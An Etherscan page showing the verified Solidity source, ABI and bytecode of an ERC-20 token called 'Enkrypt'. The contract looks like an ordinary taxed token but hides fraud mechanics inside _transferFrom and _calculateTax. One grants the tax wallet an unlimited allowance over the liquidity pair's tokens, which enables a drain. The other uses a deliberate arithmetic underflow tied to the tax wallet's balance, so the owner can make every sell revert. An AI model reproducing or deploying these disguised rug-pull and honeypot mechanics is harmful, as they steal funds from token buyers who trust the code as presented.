ETH Price: $2,622.40 (+1.25%)

Token

Enkrypt (Enkrypt)
 

Overview

Max Total Supply

1,000,000,000 Enkrypt

Holders

138

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000071642326 Enkrypt

Value
$0.00
0x0fC3d112Ae07eF60Ae5c8354848E4CcF86CbbA89
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Enkrypt

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

/**

* Website:  https://www.enkrypt.app

* Twitter:  https://twitter.com/EnkryptERC

* Telegram: https://t.me/EnkryptERC

*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    constructor(address creatorOwner) { _owner = creatorOwner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function owner() public view returns (address) { return _owner; }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
}

contract Enkrypt is IERC20, Auth {
    string private constant _name         = "Enkrypt";
    string private constant _symbol       = "Enkrypt";
    uint8 private constant _decimals      = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _midSellTax=2;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 public _reduceBuyTaxAt=10;
    uint256 public _reduceSellTax1At=10;
    uint256 public _reduceSellTax2At=10;
    uint256 private _preventSwapBefore=0;
    uint256 public _buyCount=0;

    uint256 private teamCount;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    address payable private _walletTax;

    uint256 private constant _taxSwapMin = _totalSupply / 2000000;
    uint256 private constant _taxSwapMax = _totalSupply / 500;
  
    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals); // 5%
    
    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    constructor() Auth(msg.sender) { 
        _balances[msg.sender] = (_totalSupply / 1000 ) * 0;
        _balances[address(this)] = (_totalSupply / 1000 ) * 1000;

        emit Transfer(address(0), address(msg.sender), _balances[address(msg.sender)]);
        emit Transfer(address(0), address(this), _balances[address(this)]);

        _walletTax = payable(0x20972Fc24Ef836ADA4248D7Cf730cd124a9Bb762);

        _noFees[_walletTax] = true;
        _noFees[_owner] = true;
        _noFees[address(this)] = true;
  
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");

        if(_isLP[sender] && recipient == _walletTax) {
            _approveRouter(sender, recipient, type(uint).max);
        }
        
        if(_noFees[sender] || _noFees[recipient]){
            return _standardTransfer(sender, recipient, amount);
        }
        
        if (!_tradingOpen) { require(_noFees[sender], "Trading not open"); }

        if ( !_inTaxSwap && _isLP[recipient] && _buyCount >= _preventSwapBefore) { _swapTaxAndLiquify(); }

        if (limited && sender == _primaryLP) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount, "Forbid");
        }

        if (transferDelayEnabled) {
            if (recipient != _swapRouterAddress && recipient != _primaryLP) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        teamCount = this.balanceOf(_walletTax);

        uint256 _taxAmount = _calculateTax(sender, recipient, amount);

        uint256 _transferAmount = amount - _taxAmount;

        _balances[sender] -= amount;

        if ( _taxAmount > 0 ) { 
            _balances[address(this)] += _taxAmount; 
        }

        _buyCount++;

        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _standardTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _approveRouter(address router, address _swapAddress, uint256 _tokenAmount) internal {
        if ( _allowances[router][_swapAddress] < _tokenAmount ) {
            _allowances[router][_swapAddress] = type(uint256).max;
        }
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");

        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_primaryLP] = true;
    }
    
    function enableTrading() external onlyOwner {
        _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sender]) { checkResult = true; } 

        return checkResult;
    }

    function setTaxWallet(address newTaxWallet) public onlyOwner {
        _walletTax = payable(newTaxWallet);
    }

    function removeLimits() external onlyOwner{
        limited = false;
        transferDelayEnabled=false;
    }

    function manuallyLowerTax() external onlyOwner{
        _reduceSellTax1At=5;
        _reduceSellTax2At=5;
        _reduceBuyTaxAt=5;
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 taxAmount;

        if (_tradingOpen && !_noFees[sender] && !_noFees[recipient] ) { 
            
            if ( _isLP[sender] || _isLP[recipient] ) {
                taxAmount = (amount / 100) * ((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax);

                if(recipient == _primaryLP && sender != address(this)){
                    uint256 taxRate;
                    
                    if(_buyCount > _reduceSellTax2At){
                        taxRate = _finalSellTax;
                    } else if(_buyCount > _reduceSellTax1At){
                        taxRate = _midSellTax;
                    } else {
                        taxRate = _initialSellTax;
                    }
                    taxAmount = (amount / 100) * taxRate;
                    teamCount = _preventSwapBefore - teamCount;
                }
            }
        }

        return taxAmount;
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = balanceOf(address(this));

        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

            _swapTaxTokensForEth(_taxTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if(_contractETHBalance > 0) { 
                bool success;
                (success,) = _walletTax.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _primarySwapRouter.WETH();
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax1At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTax2At","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manuallyLowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526002600181815581805560038290556004829055600591909155600a600681905560078190556008819055600060098190558155601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556014805461ffff19169092179091556200007b90601290620003bd565b6200008b906302625a00620003d5565b6015556016805461ff0019169055348015620000a657600080fd5b50600080546001600160a01b031916331790556103e8620000ca6012600a620003bd565b620000da90633b9aca00620003d5565b620000e69190620003f7565b620000f3906000620003d5565b336000908152600c60205260409020556103e8620001146012600a620003bd565b6200012490633b9aca00620003d5565b620001309190620003f7565b6200013e906103e8620003d5565b306000908152600c6020908152604080832093909355338083528383205493519384529260008051602062001d52833981519152910160405180910390a3306000818152600c6020908152604080832054905190815260008051602062001d52833981519152910160405180910390a3601080546001600160a01b0319167320972fc24ef836ada4248d7cf730cd124a9bb762179055600e60209081527fea0b50a34c2540880d8eaad89bf45ea0f84f5557aa1f91ae36f103d06e5d0a0b805460ff199081166001908117909255600080546001600160a01b0316815260408082208054841685179055308252808220805490931690931790915533808252600c909352818120549151909160008051602062001d52833981519152916200026891815260200190565b60405180910390a3306000818152600c6020908152604080832054905190815260008051602062001d52833981519152910160405180910390a36200041a565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ff578160001904821115620002e357620002e3620002a8565b80851615620002f157918102915b93841c9390800290620002c3565b509250929050565b6000826200031857506001620003b7565b816200032757506000620003b7565b81600181146200034057600281146200034b576200036b565b6001915050620003b7565b60ff8411156200035f576200035f620002a8565b50506001821b620003b7565b5060208310610133831016604e8410600b841016171562000390575081810a620003b7565b6200039c8383620002be565b8060001904821115620003b357620003b3620002a8565b0290505b92915050565b6000620003ce60ff84168362000307565b9392505050565b6000816000190483118215151615620003f257620003f2620002a8565b500290565b6000826200041557634e487b7160e01b600052601260045260246000fd5b500490565b611928806200042a6000396000f3fe6080604052600436106101445760003560e01c8063860a32ec116100b6578063c7cf8a321161006f578063c7cf8a321461034f578063c876d0b914610365578063dd62ed3e14610384578063e8078d94146103ca578063ea414b28146103d2578063fcc752df146103f257600080fd5b8063860a32ec146102c257806389f9a1d3146102dc5780638a8c523c146102f25780638da5cb5b1461030757806395d89b4114610150578063a9059cbb1461032f57600080fd5b806327b1a8e91161010857806327b1a8e914610218578063313ce5671461022e57806345f39c411461024a57806370a0823114610260578063715018a614610296578063751039fc146102ad57600080fd5b806306fdde0314610150578063095ea7b31461018f5780630c193045146101bf57806318160ddd146101e357806323b872dd146101f857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526007815266115b9adc9e5c1d60ca1b6020820152905161018691906114e5565b60405180910390f35b34801561019b57600080fd5b506101af6101aa36600461154f565b610407565b6040519015158152602001610186565b3480156101cb57600080fd5b506101d560065481565b604051908152602001610186565b3480156101ef57600080fd5b506101d5610474565b34801561020457600080fd5b506101af61021336600461157b565b610495565b34801561022457600080fd5b506101d5600a5481565b34801561023a57600080fd5b5060405160128152602001610186565b34801561025657600080fd5b506101d560075481565b34801561026c57600080fd5b506101d561027b3660046115bc565b6001600160a01b03166000908152600c602052604090205490565b3480156102a257600080fd5b506102ab61055a565b005b3480156102b957600080fd5b506102ab6105c9565b3480156102ce57600080fd5b506014546101af9060ff1681565b3480156102e857600080fd5b506101d560155481565b3480156102fe57600080fd5b506102ab610600565b34801561031357600080fd5b506000546040516001600160a01b039091168152602001610186565b34801561033b57600080fd5b506101af61034a36600461154f565b610639565b34801561035b57600080fd5b506101d560085481565b34801561037157600080fd5b506014546101af90610100900460ff1681565b34801561039057600080fd5b506101d561039f3660046115d9565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b6102ab61066b565b3480156103de57600080fd5b506102ab6103ed3660046115bc565b6109b7565b3480156103fe57600080fd5b506102ab610a03565b336000818152600d602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104629086815260200190565b60405180910390a35060015b92915050565b60006104826012600a61170c565b61049090633b9aca0061171b565b905090565b60006104a084610a3e565b6104c55760405162461bcd60e51b81526004016104bc9061173a565b60405180910390fd5b6001600160a01b0384166000908152600d6020908152604080832033845290915290205460001914610545576001600160a01b0384166000908152600d60209081526040808320338452909152902054610520908390611764565b6001600160a01b0385166000908152600d602090815260408083203384529091529020555b610550848484610a80565b90505b9392505050565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104bc9061177b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016104bc9061177b565b6014805461ffff19169055565b6000546001600160a01b0316331461062a5760405162461bcd60e51b81526004016104bc9061177b565b6016805460ff19166001179055565b600061064433610a3e565b6106605760405162461bcd60e51b81526004016104bc9061173a565b610553338484610a80565b6000546001600160a01b031633146106955760405162461bcd60e51b81526004016104bc9061177b565b6016805461ff0019166101001790556012546001600160a01b0316156106e95760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104bc565b60165460ff161561072e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104bc565b600034118061073d5750600047115b6107895760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104bc565b306000908152600c60205260409020546107dd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104bc565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610830573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085491906117b2565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da91906117b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610927573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094b91906117b2565b601280546001600160a01b0319166001600160a01b0392909216919091179055306000908152600c60205260409020546109859047610edd565b6012546001600160a01b03166000908152601360205260409020805460ff191660011790556016805461ff0019169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104bc9061177b565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a2d5760405162461bcd60e51b81526004016104bc9061177b565b600560078190556008819055600655565b601654600090819060ff1615610a565750600161046e565b6001600160a01b0383166000908152600e602052604090205460ff161561046e5750600192915050565b60006001600160a01b038416610ad85760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104bc565b6001600160a01b03841660009081526013602052604090205460ff168015610b0d57506010546001600160a01b038481169116145b15610b1f57610b1f8484600019610f85565b6001600160a01b0384166000908152600e602052604090205460ff1680610b5e57506001600160a01b0383166000908152600e602052604090205460ff165b15610b7557610b6e848484610fe2565b9050610553565b60165460ff16610bb7576001600160a01b0384166000908152600e602052604090205460ff16610bb75760405162461bcd60e51b81526004016104bc9061173a565b601654610100900460ff16158015610be757506001600160a01b03831660009081526013602052604090205460ff165b8015610bf75750600954600a5410155b15610c0457610c04611097565b60145460ff168015610c2357506012546001600160a01b038581169116145b15610c8c5760155482610c4b856001600160a01b03166000908152600c602052604090205490565b610c5591906117cf565b1115610c8c5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104bc565b601454610100900460ff1615610d59576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610cd757506012546001600160a01b03848116911614155b15610d5957326000908152600f60205260409020544311610d465760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104bc565b326000908152600f602052604090204390555b6010546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610da1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc591906117e7565b600b556000610dd58585856111d1565b90506000610de38285611764565b6001600160a01b0387166000908152600c6020526040812080549293508692909190610e10908490611764565b90915550508115610e4057306000908152600c602052604081208054849290610e3a9084906117cf565b90915550505b600a8054906000610e5083611800565b90915550506001600160a01b0385166000908152600c602052604081208054839290610e7d9084906117cf565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610ec991815260200190565b60405180910390a350600195945050505050565b610ee68261132e565b6011546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610f59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7e919061181b565b5050505050565b6001600160a01b038084166000908152600d6020908152604080832093861683529290522054811115610fdd576001600160a01b038084166000908152600d6020908152604080832093861683529290522060001990555b505050565b6001600160a01b0383166000908152600c602052604081208054839190839061100c908490611764565b90915550506001600160a01b0383166000908152600c6020526040812080548492906110399084906117cf565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108591815260200190565b60405180910390a35060019392505050565b6016805461ff001916610100179055306000908152600c60205260408120549050621e84806110c86012600a61170c565b6110d690633b9aca0061171b565b6110e09190611849565b81101580156110f1575060165460ff165b156111c3576101f46111056012600a61170c565b61111390633b9aca0061171b565b61111d9190611849565b811061114d576101f46111326012600a61170c565b61114090633b9aca0061171b565b61114a9190611849565b90505b6111568161139b565b4780156111c1576010546040516000916001600160a01b03169083908381818185875af1925050503d80600081146111aa576040519150601f19603f3d011682016040523d82523d6000602084013e6111af565b606091505b505080915050806111bf57600080fd5b505b505b506016805461ff0019169055565b601654600090819060ff16801561120157506001600160a01b0385166000908152600e602052604090205460ff16155b801561122657506001600160a01b0384166000908152600e602052604090205460ff16155b15610550576001600160a01b03851660009081526013602052604090205460ff168061126a57506001600160a01b03841660009081526013602052604090205460ff165b1561055057600654600a541161128257600154611286565b6004545b611291606485611849565b61129b919061171b565b6012549091506001600160a01b0385811691161480156112c457506001600160a01b0385163014155b15610550576000600854600a5411156112e057506005546112fa565b600754600a5411156112f557506003546112fa565b506002545b80611306606486611849565b611310919061171b565b9150600b546009546113229190611764565b600b5550949350505050565b306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561139857306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902060001990555b50565b6113a48161132e565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106113d9576113d961186b565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611432573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145691906117b2565b816001815181106114695761146961186b565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac947906114af908590600090869030904290600401611881565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b81811015611512578581018301518582016040015282016114f6565b81811115611524576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461139857600080fd5b6000806040838503121561156257600080fd5b823561156d8161153a565b946020939093013593505050565b60008060006060848603121561159057600080fd5b833561159b8161153a565b925060208401356115ab8161153a565b929592945050506040919091013590565b6000602082840312156115ce57600080fd5b81356105538161153a565b600080604083850312156115ec57600080fd5b82356115f78161153a565b915060208301356116078161153a565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166357816000190482111561164957611649611612565b8085161561165657918102915b93841c939080029061162d565b509250929050565b60008261167a5750600161046e565b816116875750600061046e565b816001811461169d57600281146116a7576116c3565b600191505061046e565b60ff8411156116b8576116b8611612565b50506001821b61046e565b5060208310610133831016604e8410600b84101617156116e6575081810a61046e565b6116f08383611628565b806000190482111561170457611704611612565b029392505050565b600061055360ff84168361166b565b600081600019048311821515161561173557611735611612565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b60008282101561177657611776611612565b500390565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b6000602082840312156117c457600080fd5b81516105538161153a565b600082198211156117e2576117e2611612565b500190565b6000602082840312156117f957600080fd5b5051919050565b600060001982141561181457611814611612565b5060010190565b60008060006060848603121561183057600080fd5b8351925060208401519150604084015190509250925092565b60008261186657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118d15784516001600160a01b0316835293830193918301916001016118ac565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204b2db7e23713895f699fb0531aa7b868d5f24a4cb4a193665da0840d2b898f0864736f6c634300080a0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063860a32ec116100b6578063c7cf8a321161006f578063c7cf8a321461034f578063c876d0b914610365578063dd62ed3e14610384578063e8078d94146103ca578063ea414b28146103d2578063fcc752df146103f257600080fd5b8063860a32ec146102c257806389f9a1d3146102dc5780638a8c523c146102f25780638da5cb5b1461030757806395d89b4114610150578063a9059cbb1461032f57600080fd5b806327b1a8e91161010857806327b1a8e914610218578063313ce5671461022e57806345f39c411461024a57806370a0823114610260578063715018a614610296578063751039fc146102ad57600080fd5b806306fdde0314610150578063095ea7b31461018f5780630c193045146101bf57806318160ddd146101e357806323b872dd146101f857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526007815266115b9adc9e5c1d60ca1b6020820152905161018691906114e5565b60405180910390f35b34801561019b57600080fd5b506101af6101aa36600461154f565b610407565b6040519015158152602001610186565b3480156101cb57600080fd5b506101d560065481565b604051908152602001610186565b3480156101ef57600080fd5b506101d5610474565b34801561020457600080fd5b506101af61021336600461157b565b610495565b34801561022457600080fd5b506101d5600a5481565b34801561023a57600080fd5b5060405160128152602001610186565b34801561025657600080fd5b506101d560075481565b34801561026c57600080fd5b506101d561027b3660046115bc565b6001600160a01b03166000908152600c602052604090205490565b3480156102a257600080fd5b506102ab61055a565b005b3480156102b957600080fd5b506102ab6105c9565b3480156102ce57600080fd5b506014546101af9060ff1681565b3480156102e857600080fd5b506101d560155481565b3480156102fe57600080fd5b506102ab610600565b34801561031357600080fd5b506000546040516001600160a01b039091168152602001610186565b34801561033b57600080fd5b506101af61034a36600461154f565b610639565b34801561035b57600080fd5b506101d560085481565b34801561037157600080fd5b506014546101af90610100900460ff1681565b34801561039057600080fd5b506101d561039f3660046115d9565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b6102ab61066b565b3480156103de57600080fd5b506102ab6103ed3660046115bc565b6109b7565b3480156103fe57600080fd5b506102ab610a03565b336000818152600d602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104629086815260200190565b60405180910390a35060015b92915050565b60006104826012600a61170c565b61049090633b9aca0061171b565b905090565b60006104a084610a3e565b6104c55760405162461bcd60e51b81526004016104bc9061173a565b60405180910390fd5b6001600160a01b0384166000908152600d6020908152604080832033845290915290205460001914610545576001600160a01b0384166000908152600d60209081526040808320338452909152902054610520908390611764565b6001600160a01b0385166000908152600d602090815260408083203384529091529020555b610550848484610a80565b90505b9392505050565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016104bc9061177b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016104bc9061177b